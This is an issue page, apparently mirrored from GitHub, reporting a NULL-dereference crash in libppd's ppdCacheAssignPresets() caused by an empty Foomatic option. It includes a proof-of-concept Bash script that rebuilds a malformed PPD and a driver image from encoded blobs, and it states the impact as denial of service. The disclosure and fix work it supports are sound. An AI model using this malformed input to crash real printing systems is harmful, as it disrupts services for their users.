OpenPrinting / OpenPrinting/libppd

libppd: an empty Foomatic option dereferences choices[0]

Open Beginner friendly
#81 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
5
Forks
29
PR merge metrics
No merged PRs in 30d

Description

Summary

ppdCacheAssignPresets() handles Foomatic composite options by reading the
first option choice without verifying that one exists. A 17-line PPD whose
nickname contains Foomatic and whose OpenUI block has no choices causes a
near-NULL read.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The relevant ppd/ppd-cache.c is byte-identical at both revisions.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/printer.ppd, SHA-256
c0d1a93baf7748e1307fdb12d7543ecbb05ae73a230276ec95b70082daa6767d,
contains one empty AuditEmpty option. Run ./reproduce.sh; the PNG is a
normal document used only to drive the standalone wrapper.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: an empty Foomatic option dereferences choices[0]
# Finding ID: libppd-foomatic-empty-option-null-dereference
# Trigger: ppdCacheAssignPresets() handles Foomatic composite options by
# reading the first option choice without verifying that one exists. A 17-line
# PPD whose nickname contains Foomatic and whose OpenUI block has no choices
# causes a near-NULL read.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (513 bytes)
write_file printer.ppd c0d1a93baf7748e1307fdb12d7543ecbb05ae73a230276ec95b70082daa6767d <<'POC_PAYLOAD_1'
H4sIAAAAAAACA3WQzW7CMBCE73kKixNEIoTSU24IEgmJn0goPXBzHSdYdXYtx65anr7rUDVVRW+r
b8bj3YnLcjtf1/gqMzZ5TlaTKC7Qdty9SNsrhJEqLUe2TFJiew6t5+3Ic2i16q+jkoPAWkGbsd35
tOdOwTKKDxx8w4XzVlrKOhkJpVVAYkuhB6ylPvIuLNTLjhMXrECknWgwwSgt+c5XtO6oxNtfb+Nv
N9IfSQ9iyk247NtYVJdLQo0EbrH2whGc/vt8FnznsZXpKl2mMxaqEd70P8JTkt4JfeWGm7kxWgnK
Qli8Q50EcW55TypL2X1waIT+oKxQULVj8drXyuWdcZ+LYWTDnLGSLj2BjOKtbLjXbvRlrLDYldxK
cFG80djLapf9Toq+AFVSBFwBAgAA
POC_PAYLOAD_1

Result

The ASan build aborts in strncmp from ppdCacheAssignPresets() at
ppd-cache.c:2484. The uninstrumented imagetops process exits 139 before
writing PostScript.

The PPD controls whether the empty option exists, but the observed address is
fixed near NULL. No controlled write, data disclosure, or control-flow
primitive was found. The demonstrated impact is queue-configuration-triggered
denial of service.

Cause and expected behavior

The Foomatic path evaluates option->choices[0].choice at lines 2484-2485
without requiring option->num_choices > 0 or a non-NULL choices array.

Empty options should be rejected while loading the PPD or skipped before the
preset assignment algorithm accesses the first choice.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with ppd/ppd-cache.c at ppdCacheAssignPresets(), around lines 2484-2485, and run reproduce.sh with poc/printer.ppd to observe the ASan failure. Ensure an empty Foomatic option is handled before the first choice is accessed, then verify the malformed PPD no longer aborts the process.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
backend, security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
82/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.